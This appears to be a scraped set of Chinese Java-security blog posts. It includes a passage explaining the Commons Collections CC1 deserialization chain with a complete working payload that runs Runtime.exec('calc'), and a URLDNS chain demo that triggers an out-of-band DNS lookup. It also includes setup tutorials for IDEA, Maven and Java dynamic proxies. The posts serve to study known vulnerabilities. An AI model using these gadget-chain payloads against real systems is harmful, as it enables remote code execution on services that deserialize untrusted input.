LazyMap 的 decorate 方法中调用了 LazyMap 的构造方法: 123public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory);} 所以我们可以通过这个方法来给 factory 赋值。 接下来就是找哪里调用了 LazyMap 的 get 方法了,AnnotationInvocationHandler 的 invoke 方法有相关的调用。 AnnotationInvocationHandler 入口类AnnotationInvocationHandler 的 invoke 方法:12345678910111213141516171819202122232425262728293031323334public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result;} 它调用了 memberValues 的 get 方法: 12// Handle annotation member accessorsObject result = memberValues.get(member); memberValues 是 AnnotationInvocationHandler 类的属性: 1private final Map<String, Object> memberValues; 它在构造方法中被赋值: 123456789AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues;} 这里可以依照前面的办法:利用反射调用 AnnotationInvocationHandler 的构造方法,将 memberValues 赋值成 LazyMap 对象。 那么又要如何调用 AnnotationInvocationHandler 的 invoke 方法呢? AnnotationInvocationHandler 其实是一个代理类,它继承了 InvocationHandler 类,并重写了 invoke 方法。而我们知道,在调用代理对象的方法时,InvocationHandler 类的 invoke 方法将会被触发。(这方面与 Java 动态代理有关,可以去看我先前的文章) 假使我用 AnnotationInvocationHandler 来构建一个代理对象,那么只要这个代理对象的任意方法被调用,就会调用 AnnotationInvocationHandler 的 invoke 方法了。 那么为了能够反序列化利用,我们还是要回到 readObject 方法。 AnnotationInvocationHandler 的 readObject 方法:123456789101112131415161718192021222324252627282930313233private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }} 沿用前辈们的思路,我们将触发点选为 memberValues.entrySet() ,只需要将 memberValues 设置成用 AnnotationInvocationHandler 构建的代理对象,那么在调用这个代理对象的任意方法时,都会调用 AnnotationInvocationHandler 的 invoke 方法。 这听起来似乎很矛盾,前面说 memberValues 要赋值成 LazyMap 对象,怎么这里又说 memberValues 要设置成用 AnnotationInvocationHandler 构建的代理对象呢?后面会给出解答。 构造 payload123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class FinalPayload { public static void main(String[] args) throws Exception { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 Map 对象,无关紧要,只是作为参数传入 Map<Object, Object> hashMap = new HashMap<>(); // 初始化利用链 LazyMap Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 // 获取 AnnotationInvocationHandler 的构造器对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 因为不经过判断,第一个参数只要是注解类就行,第二个参数传入 Lazymap 对象作为 memberValues 的值 Object annotationInvocationHandler1 = constructor.newInstance(Override.class, lazymap); // 现在我已经通过构造方法获取了一个 AnnotationInvocationHandler 对象 // 接下来将这个对象强转成 InvocationHandler 类型,然后用它来获取代理对象 InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandler1; // 为了之后能将代理对象作为参数传入 AnnotationInvocationHandler 的构造方法 // 这里选择创建一个 Map 类型的代理对象 Map mapProxy = (Map) Proxy.newProxyInstance( // 第一个参数是构造器 Map.class.getClassLoader(), // 第二个参数指明代理对象继承的接口 new Class[]{Map.class}, // 第三个参数需要一个重写了 invoke 方法的 InvocationHandler 对象 // 这个对象的 invoke 方法将会在代理对象的任意方法被调用时调用 invocationHandler ); // 传入 mapProxy 代理对象作为 memberValues 的值 Object annotationInvocationHandler2 = constructor.newInstance(Override.class, mapProxy); // serialize(annotationInvocationHandler2); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} 看完 payload 想必就能理解了,我们将代理对象作为 AnnotationInvocationHandler 对象 annotationInvocationHandler2 的 memberValues 属性值,在反序列化时,调用 annotationInvocationHandler2 的 readObject 方法,进而调用 memberValues 的 entrySet() 方法(即代理对象的 entrySet() 方法),此时将会调用代理对象对应的 invoke 方法,这个 invoke 方法正是 annotationInvocationHandler1 的 invoke 方法,annotationInvocationHandler1 的 invoke 方法会调用 memberValues 的 get 方法,而 annotationInvocationHandler1 的 memberValues 属性已经被赋值成 LazyMap 对象了,于是这里调用的是 LazyMap 对象的 get 方法。 我再画个流程图来帮助理解: 123456789annotationInvocationHandler2 :: readObject() ->annotationInvocationHandler2.memberValues :: entrySet()(annotationInvocationHandler2.memberValues = mapProxy)->annotationInvocationHandler1 :: invoke()(annotationInvocationHandler1.memberValues = lazymap)->lazymap :: get() -> ...... 想必应该能理解了。 调试调试既是为了验证理论的正确性,又是为了加深理解,还可以发现未知的细节。 先执行序列化方法,生成文件之后,对反序列化方法做调试。 主程序 readObject 处下断点: AnnotationInvocationHandler.java 的 readObject 方法中的 memberValues.entrySet() 处下断点: AnnotationInvocationHandler.java 的 invoke 方法中的 memberValues.get 处下断点: 开始调试: 单步进入:进入了 AbstractMapDecorator 类,过程省略。 接着单步进入,此时来到了 LazyMap 的 readObject 方法: 执行完 LazyMap 的 readObject 方法以后就来到了 AnnotationInvocationHandler 的 invoke 方法: 调用堆栈也出现了很多调用,细看之下,又跟我们的利用链毫无关系。至于这里为什么会提前调用 invoke 方法,容后再议。 继续调试,经过断点 memberValues.entrySet() : 继续调试,不断单步进入又跳出,执行完之后会发现弹出了计算器,而且是三个: 调试发现中间调用了一大堆乱七八糟的类,实在没有耐心看了,就引用 yhy 师傅的一个比较有说服力的结论吧: IDEA 在 debug 时,当 debug 到某个对象的时候,会调用对象的 toString() 方法,用来在 debug 界面显示对象信息。弹出多个计算器,多半是由于代理对象的 toString() 方法被私自调用了,触发了 invoke 方法,造成非预期的命令执行。 我们可以在 IDEA 中关闭 Debug 自动调用 toString() 方法: 至于为什么关闭这个设置后调试仍然弹出了三个计算器,我就不得而知了。 那么,接下来才是重头戏。我们重新设置断点,重新调试。 反序列化是由内向外的在 AnnotationInvocationHandler 类的 readObject 方法中新增一处断点,这一断点是在上一次调试中发现的转折点: 其余断点不变,开始调试: 单步进入几次: 现在调用的是 LazyMap 的 readObject ,说明 LazyMap 相比其他对象是最先被反序列化的。 继续单步进入: 跳出 LazyMap 的 readObject 方法之后,我们就来到了 AnnotationInvocationHandler 的 readObject 方法,观察 this.memberValues 值,发现它是一个 LazyMap 对象,这说明什么?说明此时反序列化的这个 AnnotationInvocationHandler 对象是 mapProxy 代理对象在创建时作为参数传入的 AnnotationInvocationHandler 对象,而不是最外部的 AnnotationInvocationHandler 对象。 即此时反序列化的是 annotationInvocationHandler1 对象。 接下来单步进入会进入 AnnotationType 类的 getInstance 方法,这个方法又会调用 AnnotationType 的构造方法,在构造方法中我们发现行进到这一步时: 这里的 ret 已然是一个代理对象,调用 ret.value() 将会进入某个代理类的 invoke 方法。 再下一步就来到了 AnnotationInvocationHandler 对象的 invoke 方法: 这就是我们之前遇到的 invoke 方法被提前调用的问题。观察下面的 memberValues 属性值可以发现,此时执行 invoke 方法的 AnnotationInvocationHandler 对象并不是 annotationInvocationHandler1 ,因此这一步调用 invoke 并不会造成命令执行,事实也正是如此。 想必这里调用 AnnotationInvocationHandler 的 invoke 方法是 AnnotationType 类的内部逻辑,至于 ret 是如何成为由 AnnotationInvocationHandler 构建的代理对象的,我就不深究了。 继续调试,执行完这一步后,我们回到 annotationInvocationHandler1 的 readObject 方法: 直接跳到下个断点吧: 继续调试,当执行完这一步时,我们又来到了 AnnotationInvocationHandler 类的这个断点处: 并且弹出了三个计算器,说明命令执行在上一步已经完成了,至于这个 AnnotationInvocationHandler 对象,看看它的 memberValues 属性值会发现是一个代理对象,也就是说我们现在正在执行外部的 AnnotationInvocationHandler 对象也即 annotationInvocationHandler2 的 readObject 方法,这一步的 readObject 方法并不会造成命令执行,事实也正是如此,后面的就不用看了,至此,调试完毕。 通过调试,我们可以发现:反序列化是由内向外的。而我们之前所预测的调用链被推翻,接下来我会记录下真正的调用链。 重新书写调用链123456789101112131415161718192021反序列化 -> lazyMap :: readObject() ->annotationInvocationHandler1 :: readObject() -> AnnotationType :: getInstance() -> AnnotationType :: AnnotationType() -> AnnotationInvocationHandler :: invoke() (提前调用 invoke ,但不会命令执行)->annotationInvocationHandler1.memberValues :: entrySet() ->annotationInvocationHandler1 :: invoke() ->annotationInvocationHandler1.memberValues :: get() (即 lazyMap :: get(),造成命令执行)->annotationInvocationHandler2 :: readObject() ->结束 结语真理的相对性也是真理之一,实践是检验真理的唯一标准。","categories":["Java 安全"]},{"title":"配置篇 - IDEA 查看带 sun 包的 JDK 源码","path":"/2024/05/12/Java 安全/配置篇-idea查看JDK和依赖的源码/","content":"前言:前面在分析初始版本 CC1 链的时候,查看 sun 包里的 AnnotationInvocationHandler 类的源码,发现变量名全都是 var 开头,非常不便于阅读,接下来将介绍如何使用 IDEA 查看带 sun 包的 JDK 源码,以及导入的依赖源码,这里的源码指的是 .java 文件。 IDEA 查看带 sun 包的 JDK 源码ref:JAVA CC1分析 原始的 JDK 中的 src.zip 是没有 sun 包的,我们需要自己下载包含 sun 包的源码。 以 JDK8u65 版本为例,前往 openjdk 网站下载的链接为:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 点击左侧的 zip 即可下载压缩包: 下载的压缩包名为 jdk-af660750b2f4.zip ,将其解压后,在 jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes 路径下即可找到 sun 包: 在我们之前的 JDK 文件夹下有一个 src.zip 压缩包,将其解压后,将上面的 sun 包复制进来: 这时候就可以在 idea 中添加资源文件了。 打开 idea -> ProJect Structure -> SDKs 选择上方的 Classpath ,点击加号,将 src 路径导入进去: 添加完 Classpath 之后,还要添加 Sourcepath : 这样就算完成了。 这时就可以写个程序验证是否添加成功: Ctrl + 鼠标左键进入源码: 可以发现此时进入的是 .java 文件而不再是 .class 文件了,说明添加成功。 IDEA 查看依赖包的 Java 源码ref:idea 查看 Java 源码,而不是编译后的 class 文件 以 CC 依赖为例: 1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies> 首先打开设置,找到红框所示路径,勾选 Sources 和 Documentation : 点击 Apply 应用和 OK 退出。 接着打开右侧 Maven 图标,按照图示步骤 Download Sources : 到这一步就添加完成了。","categories":["Java 安全"]},{"title":"基础篇 - Java 动态代理","path":"/2024/05/11/Java 安全/基础篇-Java动态代理/","content":"在 Java 动态代理中,代理对象能够通过调用 invoke 方法来增强被代理对象的原始方法。 Java 动态代理程序为什么需要代理?代理长什么样?对象如果嫌身上干的事太多,可以通过代理来转移部分职责。对象有什么方法想被代理,代理就一定要有对应的方法。 下面通过一个简单的例子来了解动态代理现有一个类 BigStar 需要被代理,如何让代理类知道 BigStar 的哪些方法需要被代理呢?那么需要定义一个接口,这个接口将会声明 BigStar 中需要被代理的方法,再让代理类实现这个接口好了。同样,出于代理的规范,BigStar 类也需要实现这个接口。 需要被代理的 BigStar 类: 12345678910111213141516public class BigStar implements Star{ private String name; public BigStar(String name) { this.name = name; } public String Sing(String name){ System.out.println(this.name + "正在唱" + name); return "谢谢大家!"; } public void Dance(){ System.out.println(this.name + "正在跳舞"); }} Star 接口中声明了 BigStar 类需要被代理的方法 Sing 和 Dance : 1234public interface Star { String Sing(String name); public void Dance();} 接下来我们要获取代理对象,通常用到 Proxy 类的 newProxyInstance() 方法。 Proxy.newProxyInstance() 方法其定义是这样的: 12@CallerSensitivepublic static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) 返回类型为 Object 第一个参数用于指定类加载器,开发里都是用当前类的类加载器,这里即 ProxyUtil.class.getClassLoader() 。 第二个参数需要传入一个接口数组,用于指定生成的代理对象继承哪些接口,包含哪些方法。 第三个参数需要传入一个 InvocationHandler 接口的对象,由于接口不能直接实例化对象,所以我们这里需要用到 InvocationHandler 接口的匿名对象。 具体代码如下: 12345678910111213Star starProxy = (Star) Proxy.newProxyInstance( // 指定类加载器 ProxyUtil.class.getClassLoader(), // 传入接口的Class对象 new Class[]{Star.class}, // 传入InvocationHandler接口的匿名对象 new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return null; } } ); 在使用 idea 创建 InvocationHandler 的匿名内部类时我们会发现这里自动生成了一个重写的 invoke() 方法,划重点,这个 invoke() 方法很重要。 InvocationHandler 类的 invoke() 方法代理对象需要做的增强功能(或者说要做的事情),就定义在这个方法里。 我们来看它的定义: 1public Object invoke(Object proxy, Method method, Object[] args) 这三个参数的含义是什么呢? 我们知道,我们获取到的这个代理对象 starProxy 中是有 Sing 和 Dance 两个方法的,而且将来会被调用,就像这样: 1starProxy.Sing("爱我中华") 那么此时第一个参数 proxy 获取到的就是对象 starProxy ,第二个参数 method 获取到的就是方法 Sing ,第三个参数 args 获取到的就是参数数组 Object[]{“爱我中华”} ,应该明白了吧。 那么接下来我们可以完善这个 invoke 方法: 123456789101112131415161718192021222324// 新建一个 BigStar 对象BigStar bigStar = new BigStar("张三");// 创建代理对象Star starProxy = (Star) Proxy.newProxyInstance( // 指定类加载器 ProxyUtil.class.getClassLoader(), // 传入接口的Class对象 new Class[]{Star.class}, // 传入InvocationHandler接口的匿名对象 new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 当调用 Sing 方法时,打印 "收钱,准备唱歌场地" if (method.getName().equals("Sing")) { System.out.println("收钱,准备唱歌场地"); // 当调用 Dance 方法时,打印 "收钱,准备跳舞场地" } else if (method.getName().equals("Dance")) { System.out.println("收钱,准备跳舞场地"); } // 最后一定调用 bigStar 的原始方法,并将结果返回 return method.invoke(bigStar, args); } } ); 最后调用代理类的 Sing 和 Dance 方法测试: 123String sing = starProxy.Sing("爱我中华");System.out.println(sing);starProxy.Dance(); 返回结果如下: 最后我们再梳理一遍执行流程: 1starProxy.Sing("爱我中华") -> InvocationHandler 的 invoke 方法(打印 "收钱,准备唱歌场地") -> bigStar.Sing("爱我中华")(并将返回值返回) starProxy.Dance() 同理: 1starProxy.Dance() -> InvocationHandler 的 invoke 方法(打印 "收钱,准备跳舞场地") -> bigStar.Dance()(无返回) 至此,我们对动态代理有了大概的了解。 不过,实际开发中,我们通常会自定义一个 ProxyUtil 工具类来获取代理对象: 1234567891011121314151617181920212223242526public class ProxyUtil { public static Star createProxy(BigStar bigStar) { Star starProxy = (Star) Proxy.newProxyInstance( // 指定类加载器 ProxyUtil.class.getClassLoader(), // 传入接口的Class对象 new Class[]{Star.class}, // 传入InvocationHandler接口的匿名对象 new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 当调用 Sing 方法时,打印 "收钱,准备唱歌场地" if (method.getName().equals("Sing")) { System.out.println("收钱,准备唱歌场地"); // 当调用 Dance 方法时,打印 "收钱,准备跳舞场地" } else if (method.getName().equals("Dance")) { System.out.println("收钱,准备跳舞场地"); } // 最后一定调用 bigStar 的原始方法 return method.invoke(bigStar, args); } } ); return starProxy; }} 如此一来,我们的测试类中就可以这样写: 123456789public class Test { public static void main(String[] args) { // 获取代理对象 Star starProxy = ProxyUtil.createProxy(new BigStar("张三")); String sing = starProxy.Sing("爱我中华"); System.out.println(sing); starProxy.Dance(); }} 这样就简洁很多了。","categories":["Java 安全"]},{"title":"配置篇 - Maven 手动下载与导入依赖","path":"/2024/05/10/Java 安全/配置篇-Maven手动下载与导入依赖/","content":"遇到 maven 无法自动导入的依赖怎么办,本文介绍了如何手动下载与导入 maven 依赖 遇到 maven 无法自动导入的依赖怎么办推荐博客:maven 项目手动导入 jar 包依赖 第一步,在网上下载依赖 jar 包比较推荐 nowjava (时代java)这个网站。 比如我要下载 javax.el-api-3.0.0.jar ,那么访问网址 https://nowjava.com/jar/detail/m03040939/javax.el-api-3.0.0.jar.html 即可,往下翻,有下载 jar 包的链接: 下载好之后复制文件路径:”C:\\Users\\miaoj\\Downloads\\javax.el-api-3.0.0.jar” 。 第二步,idea 中导入 jar 包file => project Structure => modules => Dependencies => 点击加号 => 选择第一项 JARs or Directories 将文件地址粘贴进去,确定即可。 第三步,将 jar 包手动添加到 maven 本地仓库中打开 idea 的 Terminal 终端进入 Windows 命令提示符,输入以下命令: 1mvn install:install-file -Dfile="C:\\Users\\miaoj\\Downloads\\javax.el-api-3.0.0.jar" -DgroupId=javax.el -DartifactId=javax.el-api -Dversion=3.0.0 -Dpackaging=jar -DgroupId:pom 文件中的 groupId -DartifactId:pom 文件中的 artifactId -Dversion:pom 文件中的 version -Dpackaging:导入包的类型,这里是 jar 类型 -Dfile:jar 包所在路径 在执行结果中可以看到 jar 包已被导入 maven 本地仓库: 完成之后,查看 pom.xml 文件可以发现原来的依赖不再爆红: 12345<dependency> <groupId>javax.el</groupId> <artifactId>javax.el-api</artifactId> <version>3.0.0</version></dependency>","categories":["Java 安全"]},{"title":"漏洞篇 - URLDNS 利用链分析","path":"/2024/05/10/Java 安全/漏洞篇-URLDNS利用链分析/","content":"本文详尽地讲述了 URLDNS 反序列化利用链的原理 URLDNS 利用链分析推荐博客:JAVA反序列化-ysoserial-URLDNS原理分析 URLDNS 反序列化利用链的结果就是发起一次 URL 请求,在 DNS 服务器上留下一条解析记录,常常作为验证漏洞是否存在的手段。 具体的利用点在 URL 类的 hashcode 函数中在 Java 中,hashCode() 是 Object 类中的一个方法,用于返回一个对象的哈希码(hash code),该哈希码是一个 int 类型的数值,代表了该对象的特定标识符。 哈希码的主要作用是在集合中进行元素的快速查找,比如在 HashMap 和 HashSet 中。 先来看一个简单的示例: 首先在 Yakit 上生成一个可用域名:ihqkfolumv.dgrh3.cn 写好如下 Java 程序: 12345678910import java.net.MalformedURLException;import java.net.URL;public class Main { public static void main(String[] args) throws MalformedURLException { // 调用URL类的hashCode方法发起DNS请求 URL url = new URL("http://ihqkfolumv.dgrh3.cn"); url.hashCode(); }} 其中,ihqkfolumv.dgrh3.cn 是我们自己生成的域名,用于被 Java 程序访问,这样在 DNS 服务器上就会留下一条访问记录。 运行后在 Yakit 这里会留下一条解析记录: 下面来查看源代码了解原理Ctrl + 鼠标左键点击进入 URL 类的 hashcode 方法: 1234567public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode;} 可以看到,这里先做了一个判断,然后调用了 handler 的 hashCode 方法。而 handler 是 URL 类中定义的一个属性: 1transient URLStreamHandler handler; 接着 Ctrl + 鼠标左键点击进入 handler 对象(也即 URLStreamHandler 类)的 hashcode 方法: 123456789101112131415161718192021222324252627282930313233343536protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h;} 这个方法传入一个 URL 类作为参数,依次通过调用 getProtocol ,getHostAddress,getFile,getPort,getRef 等方法获取到传入的 URL 链接的 Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即 # 后面的部分),获取完之后,对每部分调用它们的 hashCode 方法,将结果加到 h 上,最后将 h 返回。 不过,我们需要重点关注的是 getHostAddress 方法,该方法会返回一个 IP 地址,如果遇到的是域名,那么就需要发起 DNS 请求来将其解析成 IP 地址。 Ctrl + 鼠标左键点击进入 getHostAddress 方法: 123456789101112131415161718protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress;} 如果 u.hostAddress 为空,那么调用 URL 类的 getHost 方法获取主机地址(可以是 IP 也可以是域名),如果获取到的主机地址不为空,那么会调用 InetAddress 类的静态方法 getByName 并将主机名作为参数传入。 重点来了:InetAddress.getByName 是一个强大而实用的方法,它允许我们根据主机名获取对应的 IP 地址,并在各种网络应用场景中发挥巨大的作用。 在这里就涉及到了 DNS 解析,那么这条利用链的功能也就是归于此处。再往下的源码就不看了,有兴趣可以自己看看。 反序列化利用入口类 HashMap选择该类作为入口类的原因很简单: 实现了 Serializable 接口,可以被反序列化 1public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable 重写了 readObject 方法 参数类型宽泛,只要是 Object 都可以 JDK 自带 …… 构造 payload先看结果,后面再讲原理 序列化类 serialization 123456789101112131415public class serialization { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://jhdmbaithu.dgrh3.cn"); Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true); hashMap.put(url,"test"); f.set(url,-1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); }} 这个类将 URL 类的对象作为参数传入 hashMap 中,并在 hashMap 用 put 方法将数据存储后利用反射修改了 url 的 hashCode 属性为 -1 。运行后,会将序列化数据输出到 out.bin 文件中,且也会进行一次 DNS 解析。 由于进行了 DNS 解析,本地存在了解析记录,那么第二次解析就不会去请求 DNS 服务器,所以要刷新一下本地的 DNS 缓存,防止之后执行反序列化看不到解析记录 Windows cmd 窗口输入以下命令刷新 DNS 解析缓存: 1ipconfig/flushdns 反序列化类 unserialization 123456public class unserialization { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); HashMap hashMap = (HashMap) ois.readObject(); }} 执行反序列化后会多出一条解析记录。 执行完序列化和反序列化之后,查看 Yakit ,会出现两次解析记录: 序列化时进行 DNS 解析的原理来看序列化类: 123456789101112131415public class serialization { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://jhdmbaithu.dgrh3.cn"); Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true); hashMap.put(url,"test"); f.set(url,-1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); }} 序列化时调用了 HashMap 的 put 方法,查看 put 方法: 123public V put(K key, V value) { return putVal(hash(key), key, value, false, true);} put 方法中又调用了 HashMap 的 hash 方法,查看 hash 方法: 1234static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);} 可以看到,hash 方法中调用了 key 的 hashCode 方法,而 key 就是我们传入的 URL 对象,也即调用了 URL 对象的 hashCode 方法,因此进行了 DNS 解析。 为什么要用反射修改 url 的 hashCode 属性值 调用了 url 的 hashCode 方法之后,url 的 hashCode 属性便不再是 -1(初始值为 -1 ,调用 hashCode 方法之后会生成新的值),结合 URL 类的 hashCode 方法来看: 1234567public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode;} 下一次调用 url 的 hashCode 方法就不会再调用 handler.hashCode 方法,也就不会进行 DNS 解析了。为了之后的反序列化能够顺利进行 DNS 解析,这里用反射来修改 url 的 hashCode 属性值重新为 -1 。 反序列化时进行 DNS 解析的原理来看反序列化类: 123456public class unserialization { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); HashMap hashMap = (HashMap) ois.readObject(); }} 由于 HashMap 重写了 readObject 方法,因此在调用时不会调用 ObjectInputStream 默认的 readObject 方法,而是会调用 HashMap 重写的 readObject 方法。 查看 HashMap 的 readObject 方法: 12345678910111213141516171819202122232425262728293031323334353637383940private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } }} 很多很杂,但其实前面的都不重要,直接看末尾的 for 循环中的最后一条语句: 1putVal(hash(key), key, value, false, false); 见过吧,其实跟序列化时的 put 方法中的内容是一样的,一样的调用了 hash 方法: 1234static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);} 一样的调用了 key 的 hashCode 方法,也即 URL 对象的 hashCode 方法,进行了 DNS 解析。所以如果前面不把 hashCode 改回 -1 的话,反序列化是不会进行 DNS 解析的哦~","categories":["Java 安全"]},{"title":"漏洞篇 - Java 反序列化之 CC1 链","path":"/2024/05/10/Java 安全/漏洞篇-CC1链分析/","content":"Apache Commons Collections 是对 java.util.Collection 的扩展,对常用的集合操作进行了很好的封装、抽象和补充,在保证性能的同时大大简化代码。CC 链正是在 Commons Collections 包中的反序列化利用链,本次介绍的是 CC1 链。 CC1 链Apache Commons Collections 是对 java.util.Collection 的扩展,对常用的集合操作进行了很好的封装、抽象和补充,在保证性能的同时大大简化代码。 CC 链正是在 Commons Collections 包中的反序列化利用链,本次介绍的是 CC1 链。 环境准备 java = 8u65 CommonsCollections = 3.2.1 12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency> Transformer 接口Apache Commons Collections 包中定义的一个接口,该接口的实现类中包含执行类。 12345package org.apache.commons.collections;public interface Transformer { Object transform(Object var1);} 该类中声明了一个 transform 方法。 鼠标双击选中类名后,Ctrl + H 可以查看该类的继承关系: 执行类 InvokerTransformer该类实现了 Transformer 接口与 Serializable 接口,定义如下: 1public class InvokerTransformer implements Transformer, Serializable 利用点在 InvokerTransformer 类重写的 transform 方法中:1234567891011121314151617public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method 